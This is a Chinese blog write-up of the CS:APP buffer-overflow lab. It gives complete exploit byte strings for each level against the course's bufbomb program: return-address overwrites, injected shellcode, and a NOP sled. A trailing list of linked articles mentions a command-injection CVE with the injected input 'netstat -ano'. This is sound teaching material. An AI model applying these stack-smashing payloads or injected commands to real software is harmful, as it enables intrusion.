【csapp】bufferlab

news/2025/2/19 12:20:24/

文章目录

      • 实验要求
      • 实验内容
        • Level 0
        • Level 1
        • Level 2
        • Level 3
        • Level 4

实验要求

  1. Level 0 test 运行完后,不直接返回退出,而是跳到smoke函数处,继续运行,当 smoke 运行完毕后退出
  2. Level 1 在 Level 0 的基础上,使 getbuf 函数的返回指向 fizz 函数,同时将 fizz 函数的参数置为 userid 对应的 cookie 值
  3. Level 2 使 getbuf 调用后不执行 test 函数,而是执行 bang 函数,但是同时要修改global_value 的值为 cookie 值
  4. Level 3 使 getbuf 调用后,返回到 test 当中,但是不能破坏为 test 函数维护的堆栈状态,同时要让 test 函数调用 getbuf 后的返回值为自己的 cookie
  5. Level 4 要求和 Level 3 一致,但需要加上 –n 参数运行 bufbomb,此时会进入 testn 和 getbufn 函数而不是 test 和 getbuf 函数

实验内容

Level 0

反汇编得到getbuf函数的汇编代码:

08049342 <getbuf>:8049342:	55                   	push   %ebp8049343:	89 e5                	mov    %esp,%ebp8049345:	83 ec 38             	sub    $0x38,%esp8049348:	83 ec 0c             	sub    $0xc,%esp804934b:	8d 45 ce             	lea    -0x32(%ebp),%eax804934e:	50                   	push   %eax804934f:	e8 ba fa ff ff       	call   8048e0e <Gets>8049354:	83 c4 10             	add    $0x10,%esp8049357:	b8 01 00 00 00       	mov    $0x1,%eax804935c:	c9                   	leave  804935d:	c3                   	ret    

可以发现-0x32(%ebp)作为参数传给Gets,也就是我们输入的字符串的首地址就是ebp-0x32,输入的内容存放在从此向上的位置,转换成十进制就是ebp-50,画出getbuf大致的栈帧结构:
image-20231203160807579

需要把返回地址修改为smoke的起始地址,中间需要填充50+4个字节的内容,也就是填写五十个字符。
再看一下smoke的起始地址:
image-20231201223116833

所以答案就有了:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 
a1 8b 04 08 /* smoke入口 */

测试一下可以通过:
image-20231201232806297

Level 1

这题要求在上题输入的字符串的基础上插入一个参数cookie,从上图中也可以看出这个cookie的值是0x180f29c9,对应的字符串序列就是c9 29 0f 18,重点在于这段字符要插入到哪里。

首先看fizz的反汇编:

08048bce <fizz>:8048bce:	55                   	push   %ebp8048bcf:	89 e5                	mov    %esp,%ebp8048bd1:	83 ec 08             	sub    $0x8,%esp8048bd4:	8b 55 08             	mov    0x8(%ebp),%edx8048bd7:	a1 38 d1 04 08       	mov    0x804d138,%eax8048bdc:	39 c2                	cmp    %eax,%edx8048bde:	75 22                	jne    8048c02 <fizz+0x34>8048be0:	83 ec 08             	sub    $0x8,%esp8048be3:	ff 75 08             	push   0x8(%ebp)8048be6:	68 4b a3 04 08       	push   $0x804a34b8048beb:	e8 50 fc ff ff       	call   8048840 <printf@plt>8048bf0:	83 c4 10             	add    $0x10,%esp8048bf3:	83 ec 0c             	sub    $0xc,%esp8048bf6:	6a 01                	push   $0x18048bf8:	e8 c2 08 00 00       	call   80494bf <validate>8048bfd:	83 c4 10             	add    $0x10,%esp8048c00:	eb 13                	jmp    8048c15 <fizz+0x47>8048c02:	83 ec 08             	sub    $0x8,%esp8048c05:	ff 75 08             	push   0x8(%ebp)8048c08:	68 6c a3 04 08       	push   $0x804a36c8048c0d:	e8 2e fc ff ff       	call   8048840 <printf@plt>8048c12:	83 c4 10             	add    $0x10,%esp8048c15:	83 ec 0c             	sub    $0xc,%esp8048c18:	6a 00                	push   $0x08048c1a:	e8 01 fd ff ff       	call   8048920 <exit@plt> <fizz>:8048bce:	55                   	push   %ebp8048bcf:	89 e5                	mov    %esp,%ebp8048bd1:	83 ec 08             	sub    $0x8,%esp8048bd4:	8b 55 08             	mov    0x8(%ebp),%edx8048bd7:	a1 38 d1 04 08       	mov    0x804d138,%eax8048bdc:	39 c2                	cmp    %eax,%edx8048bde:	75 22                	jne    8048c02 <fizz+0x34>8048be0:	83 ec 08             	sub    $0x8,%esp8048be3:	ff 75 08             	push   0x8(%ebp)8048be6:	68 4b a3 04 08       	push   $0x804a34b8048beb:	e8 50 fc ff ff       	call   8048840 <printf@plt>8048bf0:	83 c4 10             	add    $0x10,%esp8048bf3:	83 ec 0c             	sub    $0xc,%esp8048bf6:	6a 01                	push   $0x18048bf8:	e8 c2 08 00 00       	call   80494bf <validate>8048bfd:	83 c4 10             	add    $0x10,%esp8048c00:	eb 13                	jmp    8048c15 <fizz+0x47>8048c02:	83 ec 08             	sub    $0x8,%esp8048c05:	ff 75 08             	push   0x8(%ebp)8048c08:	68 6c a3 04 08       	push   $0x804a36c8048c0d:	e8 2e fc ff ff       	call   8048840 <printf@plt>8048c12:	83 c4 10             	add    $0x10,%esp8048c15:	83 ec 0c             	sub    $0xc,%esp8048c18:	6a 00                	push   $0x08048c1a:	e8 01 fd ff ff       	call   8048920 <exit@plt>

fizz的地址是0x8048bceebp+4是调用者返回地址,应修改为fizz的地址,ebp+8是参数的地址,所以应该把这个位置修改为cookie,所以答案就有了:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 
ce 8b 04 08 /* fizz入口地址 */
00 00 00 00 
c9 29 0f 18 /* fizz参数地址 */

测试一下可以通过:

Level 2

先看bang的反汇编:

08048c1f <bang>:8048c1f:	55                   	push   %ebp8048c20:	89 e5                	mov    %esp,%ebp8048c22:	83 ec 08             	sub    $0x8,%esp8048c25:	a1 40 d1 04 08       	mov    0x804d140,%eax8048c2a:	89 c2                	mov    %eax,%edx8048c2c:	a1 38 d1 04 08       	mov    0x804d138,%eax8048c31:	39 c2                	cmp    %eax,%edx8048c33:	75 25                	jne    8048c5a <bang+0x3b>8048c35:	a1 40 d1 04 08       	mov    0x804d140,%eax8048c3a:	83 ec 08             	sub    $0x8,%esp8048c3d:	50                   	push   %eax8048c3e:	68 8c a3 04 08       	push   $0x804a38c8048c43:	e8 f8 fb ff ff       	call   8048840 <printf@plt>8048c48:	83 c4 10             	add    $0x10,%esp8048c4b:	83 ec 0c             	sub    $0xc,%esp8048c4e:	6a 02                	push   $0x28048c50:	e8 6a 08 00 00       	call   80494bf <validate>8048c55:	83 c4 10             	add    $0x10,%esp8048c58:	eb 16                	jmp    8048c70 <bang+0x51>8048c5a:	a1 40 d1 04 08       	mov    0x804d140,%eax8048c5f:	83 ec 08             	sub    $0x8,%esp8048c62:	50                   	push   %eax8048c63:	68 b1 a3 04 08       	push   $0x804a3b18048c68:	e8 d3 fb ff ff       	call   8048840 <printf@plt>8048c6d:	83 c4 10             	add    $0x10,%esp8048c70:	83 ec 0c             	sub    $0xc,%esp8048c73:	6a 00                	push   $0x08048c75:	e8 a6 fc ff ff       	call   8048920 <exit@plt>

bang的入口地址是0x08048c1f,由8048c25: a1 40 d1 04 08 mov 0x804d140, %eax可知global_val的存放地址是0x804d140,可以调试验证一下:
image-20231203164420440

可以先把global_value的值修改为cookie0x180f29c9,通过mov指令实现这一步。

然后再把bang的入口地址压栈,接着调用ret指令,此时ret会把刚刚压入的地址弹出栈并跳转执行。

所以需要插入指令如下:

mov   $0x180f29c9, 0x804d140
push  $0x08048c1f
ret

然后把它转换为机器码,这里我是用的方法是先创建一个temp.s文件,然后在文件中填充上述汇编指令。通过gcc -c temp.s将其编译成temp.o文件,然后通过objdump -d -S temp.o文件将其对应的汇编代码和机器码都打印出来,得到的结果如下:
image-20231203170405322

0000000000000000 <.text>:0:   c7 04 25 40 d1 04 08    movl   $0x180f29c9,0x804d1407:   c9 29 0f 18 b:   68 1f 8c 04 08          push   $0x8048c1f10:   c3                      ret

现在代码有了,假设把代码插入到一开始输入的位置,也就是ebp-50,可以把返回地址改为我们插入的位置,这样getbuf函数ret后就会跳转到我们插入的指令,最终执行bang

所以需要知道ebp-50的具体值,在getbuf调用Gets之前看一下eax的值就可以得到:
image-20231203174115929

所以返回地址填充为:0x55683c9e,于是可以构造如下答案:

c7 04 25 40 d1 04 08 c9 29 0f 18 68 1f 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 
9e 3c 68 55 /* 攻击代码地址 */

测试通过:
image-20231203174535584

Level 3

getbuf()的返回值存储在eax中,所以把eax的值修改为cookie即可。

这里还是采用和level2一样的方法,先用mov指令修改eax,此时要求程序正常返回,也就是要执行调用完getbuf()的下一行指令,查看test函数可以得到地址0x8048c8d
image-20231203181131612

所以可以插入指令:

mov   $0x180f29c9, %eax
push  $0x08048c8d
ret

用同样的方法得到机器码:

0000000000000000 <.text>:0:   b8 c9 29 0f 18          mov    $0x180f29c9,%eax5:   68 8d 8c 04 08          push   $0x8048c8da:   c3

题目还要求恢复原来的ebp,因为要从getbuftest,所以应该在getbuf的第一行打个断点记录此时ebp的值为0x55683cf0
image-20231203224051011

这个在构造答案的时候,对应ebp的位置本来是几就填充几就好了,也就是返回地址前面四个字节就填充0x55683cf0

所以构造答案如下:

b8 c9 29 0f 18 68 8d 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
f0 3c 68 55 /* ebp原值 */
9e 3c 68 55 /* 攻击代码地址 */

测试通过:
image-20231203225338524

Level 4

这道题要求使用-n命令运行bufbomb,使其开启栈随机化,这样就导致每次调用时栈空间不一样。这个阶段会调用五次getbufn,每次存储的ebp的值不一样,差值在±240,可以看一下每次的取值:
image-20231204001635356

先看一下getbufn的反汇编:

0804935e <getbufn>:804935e:	55                   	push   %ebp804935f:	89 e5                	mov    %esp,%ebp8049361:	81 ec c8 02 00 00    	sub    $0x2c8,%esp8049367:	83 ec 0c             	sub    $0xc,%esp804936a:	8d 85 3e fd ff ff    	lea    -0x2c2(%ebp),%eax8049370:	50                   	push   %eax8049371:	e8 98 fa ff ff       	call   8048e0e <Gets>8049376:	83 c4 10             	add    $0x10,%esp8049379:	b8 01 00 00 00       	mov    $0x1,%eax804937e:	c9                   	leave  804937f:	c3                   	ret    

此时buf的首地址为ebp-706,给buf开辟了706个字节的空间。

文档中提到了利用nop指令,查阅资料得知nop指令的机器代码为0x90,功能是使程序计数器加一,也就是一个一个地跳指令。

我们要做的是找出ebp出现过的最大值0x55683cd0,再减去0x2c2,即是最高的buf起始地址:0x55683a0e。应该让程序跳转到最高的buf地址,然后一路nop,一直走到攻击代码。即返回地址应该填充0x55683a0e

接下来需要还原ebp。观察testn的部分代码:

08048cf4 <testn>:8048cf4:	55                   	push   %ebp8048cf5:	89 e5                	mov    %esp,%ebp8048cf7:	83 ec 18             	sub    $0x18,%esp8048cfa:	e8 ce 03 00 00       	call   80490cd <uniqueval>8048cff:	89 45 f0             	mov    %eax,-0x10(%ebp)8048d02:	e8 57 06 00 00       	call   804935e <getbufn>8048d07:	89 45 f4             	mov    %eax,-0xc(%ebp)8048d0a:	e8 be 03 00 00       	call   80490cd <uniqueval>

每次的ebp是会变的,但esp是不变的,所以可以通过esp间接计算ebp的值进行还原。后面减去了0x18,所以ebp=esp+0x18。可以通过指令lea 0x18(%esp), %ebp来还原getbuf开始时ebp的值。

此外还要修改eax的值为cookie,这就跟此前一样了:mov $0x180f29c9, %eax

之后程序要跳转到调用getbufn的下一句继续执行,也就是0x08048d07

所以攻击代码就有了:

lea   0x18(%esp), %ebp
mov   $0x180f29c9, %eax
push  $0x8048d07
ret

转换为对应的机器码:

0000000000000000 <.text>:0:   8d 6c 24 18          lea    0x18(%esp),%ebp5:   b8 c9 29 0f 18          mov    $0x180f29c9,%eaxa:   68 07 8d 04 08          push   $0x8048d07f:   c3                      ret

这里出了点小问题,我转出来的lea指令实际是67 8d 6c 24 18,但是就是过不去,把67删掉就对了。

接下来构造攻击字符串,buf需要填充706(buf的大小)+4(ebp旧值)+4(返回地址)=714个字节,攻击代码要尽可能靠后填,所以前一部分填充nop指令(0x90),剩下的填充攻击代码和返回地址。其中返回地址填充buf的最大起始地址,也就是0x55683a0e,放在最后4个字节。紧跟着前面就是攻击代码的机器码,共计15个字节,前面的695个字节全部填充nop,所以构造字符串如下:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* 695个nop */
b8 c9 29 0f 18 8d 6c 24 18 68 07 8d 04 08 c3 /* 攻击代码 */
0e 3a 68 55 /* 返回地址 */

测试通过:
image-20231205171251134


http://www.ppmy.cn/news/1277057.html

相关文章

solidity 重入漏洞

目录 1. 重入漏洞的原理 2. 重入漏洞的场景 2.1 msg.sender.call 转账 2.2 修饰器中调用地址可控的函数 1. 重入漏洞的原理 重入漏洞产生的条件&#xff1a; 合约之间可以进行相互间的外部调用 恶意合约 B 调用了合约 A 中的 public funcA 函数&#xff0c;在函数 funcA…

Linux基础第一章:基础知识和基础命令(1)

目录 一.虚拟机网络-网卡的三种连接方式 二.Linux基础知识 1.linux的哲学思想 2.分区 3.命令行头解释 4.根目录下的常见文件 bin dev proc boot etc tmp var mnt opt home lib lib64 usr 5.shell 6.命令基础 内部命令 命令执行的过程 命令行格式 命令 …

sklearn和tensorflow的理解

人工智能的实现是基于机器学习&#xff0c;机器学习的一个方法是神经网络&#xff0c;以及各种机器学习算法库。 有监督学习&#xff1a;一般数据构成是【特征值目标值】 无监督学习&#xff1a;一般数据构成是【特征值】 Scikit-learn(sklearn)的定位是通用机器学习库&…

ChatGPT如何计算token数?

GPT 不是适用于某一门语言的大型语言模型&#xff0c;它适用于几乎所有流行的自然语言。所以 GPT 的 token 需要 兼容 几乎人类的所有自然语言&#xff0c;那意味着 GPT 有一个非常全的 token 词汇表&#xff0c;它能表达出所有人类的自然语言。如何实现这个目的呢&#xff1f;…

命令执行 [SWPUCTF 2021 新生赛]babyrce

打开题目 我们看到题目说cookie值admin等于1时&#xff0c;才能包含文件 bp修改一下得到 访问rasalghul.php&#xff0c;得到 题目说如果我们get传入一个url且不为空值&#xff0c;就将我们get姿势传入的url的值赋值给ip 然后用正则过滤了 / /&#xff0c;如果ip的值没有 / …

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之Button按钮组件

鸿蒙&#xff08;HarmonyOS&#xff09;项目方舟框架&#xff08;ArkUI&#xff09;之Button按钮组件 一、操作环境 操作系统: Windows 10 专业版 IDE:DevEco Studio 3.1 SDK:HarmonyOS 3.1 二、Button按钮组件 Button 组件也是基础组件之一&#xff0c;和其它基础组件不…

J2EE标准概览 - Servlet、JSP、JDBC解析

简介 Java 2 Platform, Enterprise Edition&#xff08;J2EE&#xff09;是Java平台的一个分支&#xff0c;专注于构建企业级应用程序。它提供了一系列标准和规范&#xff0c;用于开发分布式、可扩展、可维护的应用程序。本文将重点介绍J2EE中的三个重要组件&#xff1a;Servl…

【漏洞复现】CVE-2023-6895 IP网络对讲广播系统远程命令执行

漏洞描述 杭州海康威视数字技术有限公司IP网络对讲广播系统。 海康威视对讲广播系统3.0.3_20201113_RELEASE(HIK)存在漏洞。它已被宣布为关键。该漏洞影响文件/php/ping.php 的未知代码。使用输入 netstat -ano 操作参数 jsondata[ip] 会导致 os 命令注入。 开发语言:PHP 开…